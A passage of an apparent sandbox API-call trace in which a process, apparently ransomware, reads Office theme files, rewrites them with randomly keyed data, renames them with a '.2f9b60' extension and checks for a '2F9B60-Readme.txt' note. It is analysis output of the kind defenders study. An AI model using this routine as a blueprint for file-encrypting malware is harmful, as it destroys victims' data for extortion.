(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0095.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85fcd0 [0095.739] SetFilePointerEx (in: hFile=0xe5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.739] WriteFile (in: hFile=0xe5c, lpBuffer=0x1692b0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2879f950, lpOverlapped=0x0 | out: lpBuffer=0x1692b0*, lpNumberOfBytesWritten=0x2879f950*=0x106, lpOverlapped=0x0) returned 1 [0096.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0096.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866440 [0096.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ec0 [0096.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7ec0) returned 1 [0096.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0096.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ec0 [0096.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7920 [0096.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7920) returned 1 [0096.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0096.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0096.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f0f0 [0096.003] sprintf (in: _Dest=0x1cd9f0f0, _Format="%c%c" | out: _Dest="af") returned 2 [0096.003] sprintf (in: _Dest=0x1cd9f0f2, _Format="%c%c" | out: _Dest="a7") returned 2 [0096.003] sprintf (in: _Dest=0x1cd9f0f4, _Format="%c%c" | out: _Dest="a0") returned 2 [0096.003] sprintf (in: _Dest=0x1cd9f0f6, _Format="%c%c" | out: _Dest="48") returned 2 [0096.003] sprintf (in: _Dest=0x1cd9f0f8, _Format="%c%c" | out: _Dest="7c") returned 2 [0096.003] sprintf (in: _Dest=0x1cd9f0fa, _Format="%c%c" | out: _Dest="45") returned 2 [0096.003] sprintf (in: _Dest=0x1cd9f0fc, _Format="%c%c" | out: _Dest="d4") returned 2 [0096.003] sprintf (in: _Dest=0x1cd9f0fe, _Format="%c%c" | out: _Dest="40") returned 2 [0096.003] sprintf (in: _Dest=0x1cd9f100, _Format="%c%c" | out: _Dest="70") returned 2 [0096.003] sprintf (in: _Dest=0x1cd9f102, _Format="%c%c" | out: _Dest="9b") returned 2 [0096.003] sprintf (in: _Dest=0x1cd9f104, _Format="%c%c" | out: _Dest="e5") returned 2 [0096.003] sprintf (in: _Dest=0x1cd9f106, _Format="%c%c" | out: _Dest="2e") returned 2 [0096.003] sprintf (in: _Dest=0x1cd9f108, _Format="%c%c" | out: _Dest="88") returned 2 [0096.004] sprintf (in: _Dest=0x1cd9f10a, _Format="%c%c" | out: _Dest="0e") returned 2 [0096.004] sprintf (in: _Dest=0x1cd9f10c, _Format="%c%c" | out: _Dest="1f") returned 2 [0096.004] sprintf (in: _Dest=0x1cd9f10e, _Format="%c%c" | out: _Dest="bc") returned 2 [0096.004] sprintf (in: _Dest=0x1cd9f110, _Format="%c%c" | out: _Dest="b0") returned 2 [0096.004] sprintf (in: _Dest=0x1cd9f112, _Format="%c%c" | out: _Dest="a4") returned 2 [0096.004] sprintf (in: _Dest=0x1cd9f114, _Format="%c%c" | out: _Dest="b0") returned 2 [0096.004] sprintf (in: _Dest=0x1cd9f116, _Format="%c%c" | out: _Dest="f0") returned 2 [0096.004] RtlInitAnsiString (in: DestinationString=0x2879f9c8, SourceString="afa7a0487c45d440709be52e880e1fbcb0a4b0f0" | out: DestinationString="afa7a0487c45d440709be52e880e1fbcb0a4b0f0") [0096.004] RtlAnsiStringToUnicodeString (in: DestinationString=0x2879f998, SourceString="afa7a0487c45d440709be52e880e1fbcb0a4b0f0", AllocateDestinationString=1 | out: DestinationString="afa7a0487c45d440709be52e880e1fbcb0a4b0f0") returned 0x0 [0096.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b858970 [0096.004] wcscat (in: _Dest=0x1ce116b0, _Source="afa7a0487c" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\afa7a0487c") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\afa7a0487c" [0096.004] wcscat (in: _Dest=0x1ce116b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\afa7a0487c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\afa7a0487c.2f9b60" [0096.004] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\afa7a0487c.2f9b60", NtPathName=0x2879f970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\afa7a0487c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0096.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118bc0 [0104.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118bc0) returned 1 [0104.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267300) returned 1 [0104.743] NtQueryInformationFile (in: FileHandle=0xe5c, IoStatusBlock=0x2879f9d8, FileInformation=0x2879f9e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2879f9d8, FileInformation=0x2879f9e8) returned 0x0 [0104.743] NtSetInformationFile (FileHandle=0xe5c, IoStatusBlock=0x2879f9d8, FileInformation=0x2879f9e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0106.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce116b0) returned 1 [0106.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858970) returned 1 [0106.912] FlushFileBuffers (hFile=0xe5c) returned 1 [0107.407] CloseHandle (hObject=0xe5c) returned 1 [0107.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x1079c0 [0107.408] wcscpy (in: _Dest=0x1079c0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0107.408] wcscat (in: _Dest=0x1079c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0107.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0107.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0107.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a52e0) returned 1 Thread: id = 600 os_tid = 0x1044 [0094.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml")) returned 0x20 [0095.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml", dwFileAttributes=0x20) returned 1 [0095.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe1c [0095.062] GetFileSizeEx (in: hFile=0xe1c, lpFileSize=0x2446f780 | out: lpFileSize=0x2446f780*=960) returned 1 [0095.062] SetFilePointerEx (in: hFile=0xe1c, liDistanceToMove=0x3bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.062] ReadFile (in: hFile=0xe1c, lpBuffer=0x2446f700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2446f748, lpOverlapped=0x0 | out: lpBuffer=0x2446f700*, lpNumberOfBytesRead=0x2446f748*=0x4, lpOverlapped=0x0) returned 1 [0095.089] SetFilePointerEx (in: hFile=0xe1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0095.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fdf0 [0095.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd30 [0095.089] NtQuerySystemTime (in: CurrentTime=0x2446f640 | out: CurrentTime=0x2446f640*=132462177009238000) returned 0x0 [0095.089] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x239d86b0 [0095.089] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x67f9dd46 [0095.089] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x6ae571f3 [0095.089] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0xe5eeb33 [0095.089] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x4f1f4d0b [0095.089] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x5ba564b2 [0095.089] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x59d71172 [0095.089] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x3fe0edaa [0095.089] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x51a5c7fe [0095.089] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x7f7f12db [0095.089] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x7bddfc9e [0095.089] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x37157842 [0095.089] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x7a257f34 [0095.090] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x924a9ad [0095.090] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x211ebb99 [0095.090] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x315afd89 [0095.090] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x2325c1be [0095.090] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x79a2c1b [0095.090] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x4a4006e0 [0095.090] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x644b26f6 [0095.090] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x58accfc5 [0095.090] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x4fc2ef99 [0095.090] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x503dec2b [0095.090] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x3fe66afa [0095.090] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x22f49c7 [0095.090] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x72343993 [0095.090] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x3bc0701f [0095.090] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x25e222ee [0095.090] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x6f9e7647 [0095.090] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x5f22685b [0095.090] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x5b43c97a [0095.090] RtlRandomEx (in: Seed=0x2446f630 | out: Seed=0x2446f630) returned 0x36bfc6c2 [0095.101] ReadFile (in: hFile=0xe1c, lpBuffer=0x201c4990, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x2446f630, lpOverlapped=0x0 | out: lpBuffer=0x201c4990*, lpNumberOfBytesRead=0x2446f630*=0x3c0, lpOverlapped=0x0) returned 1 [0095.101] SetFilePointerEx (in: hFile=0xe1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.101] WriteFile (in: hFile=0xe1c, lpBuffer=0x201b9560*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x2446f634, lpOverlapped=0x0 | out: lpBuffer=0x201b9560*, lpNumberOfBytesWritten=0x2446f634*=0x3c0, lpOverlapped=0x0) returned 1 [0095.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0095.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f5e0 [0095.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f5e0) returned 1 [0095.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201b9560) returned 1 [0095.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201c4990) returned 1 [0095.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866bc0) returned 1 [0095.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0095.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f5e0 [0095.310] SetFilePointerEx (in: hFile=0xe1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.310] WriteFile (in: hFile=0xe1c, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2446f750, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x2446f750*=0x104, lpOverlapped=0x0) returned 1 [0095.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97760 [0095.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8671c0 [0095.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0095.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbb0) returned 1 [0095.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0095.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0095.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85faf0 [0095.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85faf0) returned 1 [0095.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8671c0) returned 1 [0095.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0095.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1b85faf0 [0095.605] sprintf (in: _Dest=0x1b85faf0, _Format="%c%c" | out: _Dest="0e") returned 2 [0095.605] sprintf (in: _Dest=0x1b85faf2, _Format="%c%c" | out: _Dest="16") returned 2 [0095.605] sprintf (in: _Dest=0x1b85faf4, _Format="%c%c" | out: _Dest="68") returned 2 [0095.605] sprintf (in: _Dest=0x1b85faf6, _Format="%c%c" | out: _Dest="9d") returned 2 [0095.605] sprintf (in: _Dest=0x1b85faf8, _Format="%c%c" | out: _Dest="a4") returned 2 [0095.605] sprintf (in: _Dest=0x1b85fafa, _Format="%c%c" | out: _Dest="d3") returned 2 [0095.605] sprintf (in: _Dest=0x1b85fafc, _Format="%c%c" | out: _Dest="cc") returned 2 [0095.605] sprintf (in: _Dest=0x1b85fafe, _Format="%c%c" | out: _Dest="8c") returned 2 [0095.605] sprintf (in: _Dest=0x1b85fb00, _Format="%c%c" | out: _Dest="e0") returned 2 [0095.605] sprintf (in: _Dest=0x1b85fb02, _Format="%c%c" | out: _Dest="93") returned 2 [0095.605] sprintf (in: _Dest=0x1b85fb04, _Format="%c%c" | out: _Dest="82") returned 2 [0095.605] sprintf (in: _Dest=0x1b85fb06, _Format="%c%c" | out: _Dest="5a") returned 2 [0095.605] sprintf (in: _Dest=0x1b85fb08, _Format="%c%c" | out: _Dest="88") returned 2 [0095.605] sprintf (in: _Dest=0x1b85fb0a, _Format="%c%c" | out: _Dest="4a") returned 2 [0095.606] sprintf (in: _Dest=0x1b85fb0c, _Format="%c%c" | out: _Dest="6f") returned 2 [0095.606] sprintf (in: _Dest=0x1b85fb0e, _Format="%c%c" | out: _Dest="0f") returned 2 [0095.606] sprintf (in: _Dest=0x1b85fb10, _Format="%c%c" | out: _Dest="b2") returned 2 [0095.606] sprintf (in: _Dest=0x1b85fb12, _Format="%c%c" | out: _Dest="b6") returned 2 [0095.606] RtlInitAnsiString (in: DestinationString=0x2446f7c8, SourceString="0e16689da4d3cc8ce093825a884a6f0fb2b6" | out: DestinationString="0e16689da4d3cc8ce093825a884a6f0fb2b6") [0095.606] RtlAnsiStringToUnicodeString (in: DestinationString=0x2446f798, SourceString="0e16689da4d3cc8ce093825a884a6f0fb2b6", AllocateDestinationString=1 | out: DestinationString="0e16689da4d3cc8ce093825a884a6f0fb2b6") returned 0x0 [0095.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9c4f0 [0095.606] wcscat (in: _Dest=0x1b7a5910, _Source="0e16689da" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\0e16689da") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\0e16689da" [0095.606] wcscat (in: _Dest=0x1b7a5910, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\0e16689da.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\0e16689da.2f9b60" [0095.606] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\0e16689da.2f9b60", NtPathName=0x2446f770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\0e16689da.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0095.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x118610 [0107.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118610) returned 1 [0107.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47550) returned 1 [0107.367] NtQueryInformationFile (in: FileHandle=0xe1c, IoStatusBlock=0x2446f7d8, FileInformation=0x2446f7e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2446f7d8, FileInformation=0x2446f7e8) returned 0x0 [0107.368] NtSetInformationFile (FileHandle=0xe1c, IoStatusBlock=0x2446f7d8, FileInformation=0x2446f7e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0107.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5910) returned 1 [0107.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c4f0) returned 1 [0107.370] FlushFileBuffers (hFile=0xe1c) returned 1 [0107.472] CloseHandle (hObject=0xe1c) returned 1 [0107.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x1079c0 [0107.497] wcscpy (in: _Dest=0x1079c0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0107.497] wcscat (in: _Dest=0x1079c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0107.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0107.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0107.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad980) returned 1 Thread: id = 601 os_tid = 0x1048 [0094.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml")) returned 0x20 [0095.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml", dwFileAttributes=0x20) returned 1 [0095.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe54 [0095.165] GetFileSizeEx (in: hFile=0xe54, lpFileSize=0x2883f980 | out: lpFileSize=0x2883f980*=961) returned 1 [0095.165] SetFilePointerEx (in: hFile=0xe54, liDistanceToMove=0x3bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.165] ReadFile (in: hFile=0xe54, lpBuffer=0x2883f900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2883f948, lpOverlapped=0x0 | out: lpBuffer=0x2883f900*, lpNumberOfBytesRead=0x2883f948*=0x4, lpOverlapped=0x0) returned 1 [0095.501] SetFilePointerEx (in: hFile=0xe54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0095.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ef0 [0095.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7980 [0095.502] NtQuerySystemTime (in: CurrentTime=0x2883f840 | out: CurrentTime=0x2883f840*=132462177013294000) returned 0x0 [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x1a0f0575 [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x5a017f45 [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x1bb34b30 [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x563805e1 [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x30876cd4 [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x7fc61882 [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x628627c0 [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x4ede7b9 [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x18edd3f6 [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x412468e [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x248a972b [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x310efd42 [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x14f05b5b [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x126c51b9 [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x31ca53f5 [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x48ce69fa [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x538fbaef [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x31ca53f5 [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x4f8d8c7b [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x2745b4c1 [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x5d99c1 [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x628f0d7 [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x25d4c779 [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x5da51474 [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x7fc243ce [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x1fe4daea [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x3f471874 [0095.502] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x5daece6e [0095.503] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x4ff7c416 [0095.503] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x54ee8a02 [0095.503] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x42ab1fc2 [0095.503] RtlRandomEx (in: Seed=0x2883f830 | out: Seed=0x2883f830) returned 0x32158f69 [0095.511] ReadFile (in: hFile=0xe54, lpBuffer=0x202178d0, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x2883f830, lpOverlapped=0x0 | out: lpBuffer=0x202178d0*, lpNumberOfBytesRead=0x2883f830*=0x3c1, lpOverlapped=0x0) returned 1 [0095.511] SetFilePointerEx (in: hFile=0xe54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.511] WriteFile (in: hFile=0xe54, lpBuffer=0x2021b4e0*, nNumberOfBytesToWrite=0x3c1, lpNumberOfBytesWritten=0x2883f834, lpOverlapped=0x0 | out: lpBuffer=0x2021b4e0*, lpNumberOfBytesWritten=0x2883f834*=0x3c1, lpOverlapped=0x0) returned 1 [0095.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ad0 [0095.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7440 [0095.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7440) returned 1 [0095.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2021b4e0) returned 1 [0095.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202178d0) returned 1 [0095.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866ec0) returned 1 [0095.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0095.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1ced7440 [0095.768] SetFilePointerEx (in: hFile=0xe54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.768] WriteFile (in: 